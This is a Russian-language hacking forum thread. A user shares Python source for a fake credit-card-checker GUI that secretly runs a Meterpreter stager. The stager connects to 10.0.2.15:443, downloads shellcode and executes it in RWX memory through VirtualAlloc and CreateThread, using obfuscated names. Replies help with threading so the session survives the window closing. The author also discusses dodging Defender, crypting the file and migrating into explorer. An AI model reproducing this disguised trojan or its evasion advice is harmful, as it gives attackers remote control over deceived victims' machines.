• XSS.stack #1 – первый литературный журнал от юзеров форума

FakeCC checker(tkinter gui) + Meterpreter session

Kirigaya

Hacking the World
Пользователь
Регистрация
24.08.2019
Сообщения
161
Реакции
89
Доброго времени суток друзья, я не так давно начал изучать пайтон, суть истории. Я очень долго думал, как доставить пэйлоад одной цели, по итогу пришел к идее замаскировать это дело под СС чекер (долгая история).
Итак написал простейший gui и прилепил сессию, которая активируется по нажатии кнопки Check CC.


После нажатия кнопки прога повисает, я получаю сессию, но как только прогу закроют сессия будет потеряна, если я не успею мигирировать в explorer. И так внимание вопрос, нужна ваша помощь, не могу догнать каким образом сделать, так чтобы при нажатии кнопки програ не висла, а высвечивала текст из вариантов которые указаны в коде. В идеале бы конечно, создать процесс отдельный и повесить туда метерпретер сессию, чтобы даже после закрытия окна, сессия оставалась висеть в процессах и у меня было бы больше времени на миграцию.



P.S. Ток прошу не лейте это на вт.. а то захуячите)
 
Последнее редактирование:
У пользовательского интерфейса есть свой, основной, поток. Ты в этом потоке пытаешься выполнить что-то там своё, именно поэтому и виснет.
 
У пользовательского интерфейса есть свой, основной, поток. Ты в этом потоке пытаешься выполнить что-то там своё, именно поэтому и виснет.
Точно, спасибо за подсказку.
Запустил, каждую функцию в отдельном потоке.. может криво - косо конечно, но хоть как то.
Скрытый контент для пользователей: corax.
 
Последнее редактирование:
Господа, далее вопрос, можно ли один из потоков сделать устройчивым, таким образом, чтобы он оставался рабочим, даже после того как gui закрыли?
исходник прилагаю:
 
можно ли один из потоков сделать устройчивым, таким образом, чтобы он оставался рабочим, даже после того как gui закрыли?
Приветствую.
Исходники не вижу из за хайда, но можно сделать то, что вы хотите разными путями.
Например запустить detach thread или форкнуть процесс и по пиду дальше распределить функционал.
Ну или изменить обработчик событий при закрытии gui и делать что то свое.
Это самые примитивные методы.
 
Приветствую.
Исходники не вижу из за хайда, но можно сделать то, что вы хотите разными путями.
Например запустить detach thread или форкнуть процесс и по пиду дальше распределить функционал.
Ну или изменить обработчик событий при закрытии gui и делать что то свое.
Это самые примитивные методы.
Интересные решения, пойду рыть в том направлении.
Вообще годная идея, пока думал в вашем направлении посетила идея как задержать пользователя, на нужное количество времени, чтобы мигрировать в explorer.
Еще момент, ежели listener не включен, прога виснет мертвым грузом.. при нажатии кнопки Check CC, я так понимаю это можно обойти командой except, подскажите как сделать.
 
Коллеги вопрос, несмотря на 2/30, дефендер все равно отрабатывает. Хоть я и успеваю прыгнуть в explorer. Но в автозагрузку этот процесс уже не вшить, он его погубит, посему вопрос, как считаете реально ли еще сверху такой файл закриптовать? Чтобы при запуске не отблёскивал. Хотя опять же вон пишет что дефендер чистый.
ec31b01c4db58690d3de66395f53d076.png

Скрин с тестовой машины:
photo_2020-05-30_22-13-23.jpg
 
Сегодня пробовал криптовать, но ничего не вышло, отстука нет при нажатии на кнопку, поэтому пересобрал с помощью pyinstaller, после рекрипта будет понятно, что и как.
Sharing as web gui could have been more beautiful.
What do you mean by web gui?
 
Ввиду большого веса и отстутствия возможности нормально закриптовать, вынужден был отказаться от идеи использования данного способа, снимаю хайд, может кому будет интересно, вот последний исходник. Компилить pyinstaller + python3.6 или py2exe + python3.4 на ваш выбор.
Скрытый контент для зарегистрированных пользователей.
Python:
import tkinter as tk, tkinter.ttk, struct, socket, _thread as th, binascii, ctypes as kReLfJwx, random, time
from tkinter import messagebox
from tkinter.ttk import Combobox

NlckYX, rlKDdteohwTM = None, None

window = tk.Tk()
window.title("CC checker by Kirigaya v 1337 ;)")
window.geometry("446x150")


# Functions
# MeterpreterSession по клику на приложение
def FQrFxQWls():
        try:
            global rlKDdteohwTM
            rlKDdteohwTM = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            rlKDdteohwTM.connect(('10.0.2.15', 443))
            mKMhGHudKSBdo = struct.pack('<i', rlKDdteohwTM.fileno())
            l = struct.unpack('<i', rlKDdteohwTM.recv(4))[0]
            TEqeuADgTLxMzm = b"     "
            while len(TEqeuADgTLxMzm) < l: TEqeuADgTLxMzm += rlKDdteohwTM.recv(l)
            fHjVpqXpWf = kReLfJwx.create_string_buffer(TEqeuADgTLxMzm, len(TEqeuADgTLxMzm))
            fHjVpqXpWf[0] = binascii.unhexlify('BF')
            for i in range(4): fHjVpqXpWf[i + 1] = mKMhGHudKSBdo[i]
            return fHjVpqXpWf
        except:
            return None

def yGjiyZc(gqOgzKdCwu):
        if gqOgzKdCwu != None:
            ZxkkawjDkEG = bytearray(gqOgzKdCwu)
            NsGGsTqAYqCAj = kReLfJwx.windll.kernel32.VirtualAlloc(kReLfJwx.c_int(0), kReLfJwx.c_int(len(ZxkkawjDkEG)),
                                                                kReLfJwx.c_int(0x3000), kReLfJwx.c_int(0x40))
            yuqRHxvuFb = (kReLfJwx.c_char * len(ZxkkawjDkEG)).from_buffer(ZxkkawjDkEG)
            kReLfJwx.windll.kernel32.RtlMoveMemory(kReLfJwx.c_int(NsGGsTqAYqCAj), yuqRHxvuFb, kReLfJwx.c_int(len(ZxkkawjDkEG)))
            ht = kReLfJwx.windll.kernel32.CreateThread(kReLfJwx.c_int(0), kReLfJwx.c_int(0),
                                                        kReLfJwx.c_int(NsGGsTqAYqCAj), kReLfJwx.c_int(0),
                                                        kReLfJwx.c_int(0), kReLfJwx.pointer(kReLfJwx.c_int(0)))
            kReLfJwx.windll.kernel32.WaitForSingleObject(kReLfJwx.c_int(ht), kReLfJwx.c_int(-1))

NlckYX = FQrFxQWls()
th.start_new_thread(yGjiyZc, (NlckYX, ))

# Gui
def phrase_generator():
    phrases = ["Please wait, checking CC details (15-60sec) ...", "Please wait, while im checking CC (15-60sec) ..."]
    return phrases[random.randint(0, 1)]


def text_display():

    def exTRD():
        wakeup = phrase_generator()
        fuck_you = tk.Text(master=window, height=1, width=50)
        fuck_you.grid(columnspan=3, column=0, row=4, pady=15, ipadx=20)
        fuck_you.insert(tk.END, wakeup)
    th.start_new_thread(exTRD, ())


# LABEL
title = tk.Label(text="Please input CC details for checking")
title.grid(column=0, row=0, padx=45)

# EntryFieldCCNum
ccnum = tk.Entry(bd=5)
ccnum.grid(column=2, row=0)

# LABELCVV
title = tk.Label(text="Please input cvv")
title.grid(column=0, row=1)

# EntryFieldCvv
cvv = tk.Entry(bd=5)
cvv.grid(column=2, row=1)

# LABELDate
title = tk.Label(text="Please input Date (ex. 12/23)")
title.grid(column=0, row=2)

# EntryDate
datef = tk.Frame()
datem = tk.Entry()
datem = Combobox(datef, width=3)
datem['values'] = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)
datem.current(0)  # установите вариант по умолчанию
datey = tk.Entry()
datey = Combobox(datef, width=3)
datey['values'] = (19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30)
datey.current(0)  # установите вариант по умолчанию
datef.grid(column=2, row=2)
datem.pack(side="left", padx=5)
datey.pack(side="right", padx=5)

# Button
button1 = tk.Button(text="Check CC", bg="black", fg="red", command=text_display)
button1.grid(column=0, row=3)

window.mainloop()
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх